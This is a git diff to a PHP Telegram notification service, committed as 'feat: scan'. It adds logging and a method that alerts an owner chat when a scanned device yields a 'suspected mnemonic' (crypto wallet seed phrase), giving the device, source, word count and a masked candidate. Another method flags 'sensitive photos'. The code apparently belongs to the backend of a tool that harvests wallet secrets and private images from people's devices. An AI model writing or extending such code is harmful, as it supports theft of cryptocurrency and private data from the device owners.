feat: scan

app/Services/TelegramNotifier.php

@@ -113,6 +113,12 @@ class TelegramNotifier
     {
         $chatIds = $this->resolveChatIds($deviceKey);
         if ($chatIds === []) {
+            Log::channel('telegram')->info('telegram send skipped: no chat IDs resolved', [
+                'device_key' => $deviceKey,
+                'bot_token_set' => $this->botToken() !== '',
+                'owner_chat_id' => trim((string) config('coruna.telegram.owner_chat_id', '')),
+            ]);
+
             return false;
         }
 
@@ -167,11 +173,11 @@ class TelegramNotifier
             if ($desc === '') {
                 $desc = 'HTTP '.$resp->status();
             }
-            Log::warning('telegram send failed: '.$desc, ['chat_id' => $chatId]);
+            Log::channel('telegram')->warning('telegram send failed: '.$desc, ['chat_id' => $chatId]);
 
             return ['ok' => false, 'error' => $desc];
         } catch (\Throwable $e) {
-            Log::warning('telegram send failed: '.$e->getMessage(), ['chat_id' => $chatId]);
+            Log::channel('telegram')->warning('telegram send failed: '.$e->getMessage(), ['chat_id' => $chatId]);
 
             return ['ok' => false, 'error' => $e->getMessage()];
         }
@@ -316,6 +322,17 @@ class TelegramNotifier
         ]), $deviceId);
     }
 
+    public function notifySuspectedMnemonic(string $deviceId, string $source, ?string $phrase, int $wordCount): void
+    {
+        $this->send(implode("\n", [
+            '🔎 <b>疑似助记词</b>',
+            ...$this->deviceHeader($deviceId),
+            '🏷 <b>来源</b>: '.$this->e($source ?: '—'),
+            '🔢 <b>命中词数</b>: '.$this->e((string) $wordCount),
+            '📝 <b>候选</b>: <code>'.$this->e(WalletMnemonic::maskSecret($phrase)).'</code>',
+        ]), $deviceId);
+    }
+
     public function notifySensitivePhoto(string $deviceId, int $xHit, int $count = 1): void
     {
         $this->send(implode("\n", [